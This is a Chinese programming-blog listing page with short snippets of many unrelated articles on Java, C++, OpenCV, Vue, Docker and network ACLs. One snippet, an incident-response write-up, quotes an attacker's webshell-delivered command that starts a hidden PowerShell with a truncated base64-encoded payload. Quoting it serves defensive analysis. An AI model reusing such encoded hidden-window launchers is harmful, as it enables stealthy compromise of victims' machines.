C++ Multithreading

https://thispointer.com/c-11-multithreading-part-1-three-different-ways-to-create-threads/ https://stackoverflow.com/questions/3513045/conditional-variable-vs-semaphore https://en.cppreference.com/w/cpp/thread/condition_variable https://thispointer.
分类: 其他 发布时间: 10-13 23:44 阅读次数: 0

一起应急远控事件分析

攻击者执行的Powershell命令如下: pwd=asasd3344&cmd=cmd /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8A
分类: 其他 发布时间: 10-13 23:44 阅读次数: 0

初识OpenCV-Python - 001

主要用代码注释来初步学习OpenCV-Python 1. 图片初使用(结合matplotlib) import cv2 from matplotlib import pyplot as plt #Load an color image in grayscale img = cv2.imread(r'woman.jpg',0) #0表示cv2.IMREAD_GRAYSCALE.另1表示cv2.IMREAD_COLOR, -1表示cv2.IMREAD_UNCHANGED plt.imshow(im
分类: 其他 发布时间: 10-13 23:44 阅读次数: 0

20191214第二周《信息安全导论》学习总结

20191214 《信息安全导论》第二周学习总结 教材学习内容总结 《计算机概论》第一章 我了解到了计算机的基本结构与软件硬件的大致发展历史,我明白了现今的计算机仍未发展到极致,计算机是一种潜力无穷的机器,还等待着人们去发掘。 《计算机概论》第十八章 第十八章则让我了解到计算机的各种限制,与程序员在编写软件代码时的一些流程与各种误差存在与;了解到了软件bug可能带来的严重后果 教材学习中的问题和解决过程 问题 停机问题为何无法解决?图灵是怎样证明的? 答:搜索了网上的证明,基本上都是用反证法给
分类: 其他 发布时间: 10-13 23:44 阅读次数: 0

第六、七周助教总结

本周心得: 从这周的两次作业情况上来看,总体来说还算比较不错,以前不怎么学习的同学也开始学习了,一些同学开始从程序员的角度观察问题、解决问题。但是有些人还是抓不住重点,只是用完成任务的心态去完成作业,态度欠缺。其他还好,开始有同学向我反映实践的缺乏,希望开始做一些真正意义上的小程序以便检验自己的学习情况。 1.助教博客链接 http://www.cnblogs.com/MS1999/ 2.本周点评的作业数量:37 3.优秀博客: https://www.cnblogs.com/leisidiy
分类: 其他 发布时间: 10-13 23:44 阅读次数: 0

Java连载39-构造方法详解

一、 1.多行注释:CTRL + shift + / 2.当一个类中没有定义任何构造方法的话,系统默认给该类提供一个无参数的构造方法,这个构造方法被称为缺省构造器。 public class D39_ { public static void main(String[] args) { new User(); } } 编译通过,我们事先定义了一个类User,里面没有构造方法。 3.当一个类显式的将构造方法定义出来了,那么系统则不再默认提供缺省的构造器。建
分类: 其他 发布时间: 10-13 23:44 阅读次数: 0

ACL访问控列表之标准版

访问控制列表简述访问控制列表(AccessControlLists,简称ACL)是应用在路由器接口的指令列表。这些指令列表用来告诉路由器哪些数据包可以收、哪些数据包需要拒绝。至于数据包是被接收还是拒绝,可以由类似于源地址、目的地址、端口号等的特定指示条件来决定。ACL读取第三层、第四层包头信息,并根据预先定义好的规则对包进行过滤。ACL的功能1.限制网络流量、提高网络性能2.提供对通信流量的控制手
分类: 企业开发 发布时间: 10-13 23:40 阅读次数: 0

抓住金九银十的尾巴,为加薪而战,大厂Java面试题分享(含答案)

抓住金九银十的尾巴,为加薪而战,大厂Java面试题分享(含答案)前言:升职加薪!升职加薪!是每个程序员都想要的,都说跳槽是为了更高的工资,要跳槽那必须要手撕面试官啦,本文给大家分享了95道面试题,文章有点长,耐心看完哦,文末有答案,还有更多的进阶资料分享。1、String, StringBuffer, StringBuilder的区别是什么?String为什么是不可变的?1、String是字符串常
分类: 编程语言 发布时间: 10-13 23:40 阅读次数: 0

一、整体认识mybatis和mybatis的体系结构

一、myBatis核心概念 知识点 基本概念 核心对象的作用域与生命周期 接口式编程 1、基本概念 MyBatis 是一款优秀的持久层框架,它支持定制化 SQL、存储过程以及高级映射。MyBatis避免了几乎所有的JDBC代码和手动设置参数以及获取结
分类: 编程语言 发布时间: 10-13 23:28 阅读次数: 0

Java并发编程入门(十八)再论线程安全

一、无需加锁的线程安全场景 如下几种场景无需加锁就能做到线程安全: 1.不变对象 2.线程封闭 3.栈封闭 4.ThreadLocal I、不变对象 经典并发编程描述对象满足不变性有以下条件: 1.对象创建后状态就不再变化。 2.对象的所有域都是final类型
分类: 编程语言 发布时间: 10-13 23:28 阅读次数: 0

聊聊nacos server的PushService

序 本文主要研究一下nacos server的PushService PushService nacos-1.1.3/naming/src/main/java/com/alibaba/nacos/naming/push/PushService.java @Co
分类: 编程语言 发布时间: 10-13 23:28 阅读次数: 0

最适合初学者了解的Java多线程与并发基础

前言 本文会介绍Java中多线程与并发的基础,适合初学者食用,如果想看关于多线程与并发稍微进阶一些的内容可以看我的另一篇博客— 《锁》 线程与进程的区别 在计算机发展初期,每台计算机是串行地执行任务的,如果碰上需要IO的地方,还需要等待长时间的用户IO,后来经
分类: 编程语言 发布时间: 10-13 23:28 阅读次数: 0

Spring Cloud Gateway限流原理

Gateway在微服务架构系统中,为系统内部服务提供一道安全屏障,提高系统可用性、安全性等问题。使用Gateway可帮助开发人员快速开发应用,而不需要关心安全控制、流量控制、审计日志、版本控制等问题。 为什么需要限流 简单的说限流就是让控制流量让它们合理、平
分类: 编程语言 发布时间: 10-13 23:28 阅读次数: 0

浅析BeanUtils

浅析BeanUtils 在聊聊BeanUtils之前,我们可以先了解一下PO VO BO DTO 。 PO (persistant object持久对象)与数据库中对应的对象。 BO (business object业务对象)处理业务逻辑肯定会涉及到多张表的
分类: 编程语言 发布时间: 10-13 23:28 阅读次数: 0

Java后端开发工程师是否该转大数据开发?

撰写我对java后端开发工程师选择方向的想法,写给在java后端选择转方向的人 背景 看到一些java开发工程师,对java后端薪酬太悲观了。认为换去大数据领域就会高工资。觉得java后端没有前途。我从事java后端开发,对大数据领域工作有些了解,但不深
分类: 编程语言 发布时间: 10-13 23:28 阅读次数: 0

Docker 修改时区

碰到Oracle 在windows服务器上,asp.net core web api 在linux的docker中 碰到问题 说ORA-00604: error occurred at recursive SQL level 1 ORA-01882: timezone region not found 这应该是服务器时区和oracle不一致导致的, docker默认时区都是 Etc/UTC,而我的Oracle 数据库中没有这个时区 解决: 通过语句可以查看到Oracle有哪些时区 select
分类: 其他 发布时间: 10-13 23:27 阅读次数: 0

doment ready事件和load事件的区别及实现

从2017年9月至今工作中大部分使用react,前端渲染的一些基础性知识记忆不是很深刻了。面试**公司的时候,碰到“document ready和load的区别,以及document ready事件的实现”的笔试题,区别倒是回答出来了,ready事件只回答了readystatechange事件。回答的不是很全面,特在此记录。 document ready: 当初始的 HTML 文档被完全加载和解析完成之后,DOMContentLoaded 事件被触发,而无需等待样式表、图像和子框架的加载完成。
分类: 其他 发布时间: 10-13 23:27 阅读次数: 0

这才是王坚博士眼中云计算的样子!

  这才是王坚博士眼中云计算的样子!   最近对云计算比较感兴趣,直觉告诉我它是个很有潜力的东西。而中国的云计算,阿里云毫无疑问是发展最好的,要理解云计算我想最好的素材就是阿里云。   而作为阿里巴巴集团技术委员会主席,王坚博士的想法则是阿里云最直接和最核心的战略。   今天在无意中接触到王坚博士写的一本新书《在线》,甚是惊喜。这本书比较完整真实的再现了王坚对于云计算的看法,以及其对阿里云战略的设定。在读这本书的过程中,经常会有惊喜的感觉,你可以在字里行间看到深邃的洞察和一个富有使命感的灵魂。
分类: 其他 发布时间: 10-13 23:27 阅读次数: 0

vue 学习五 深入了解components(父子组件之间的传值)

上一章记录了 如何在父组件中向子组件传值,但在实际应用中,往往子组件也要向父组件中传递数据,那么此时我们应该怎么办呢 1.在父组件内使用v-on监听子组件事件,并在子组件中使用$emit传递数据 //父组件 <template> <div id="home"> <com test='12345' test2='1213232111111' @a_even="a_even"></com> //使用v-on监听子组件事件 @为v-on缩写 </div> </templat
分类: 其他 发布时间: 10-13 23:27 阅读次数: 0

exports、module.exports 和 export、export default

1.es6写法 写法一:(默认导出) export default function () {   console.log('foo'); }; 写法二:(命名式导出) export const a = 123; 写法三:(命名式导出) const b = 3; const c = 4; export { b, c }; 引用方式:import xx from xxx 2.commonjs规范 CommonJS规范规定,每个模块内部,module变量代表当前模块。这个变量是一个对象,它的exp
分类: 其他 发布时间: 10-13 23:27 阅读次数: 0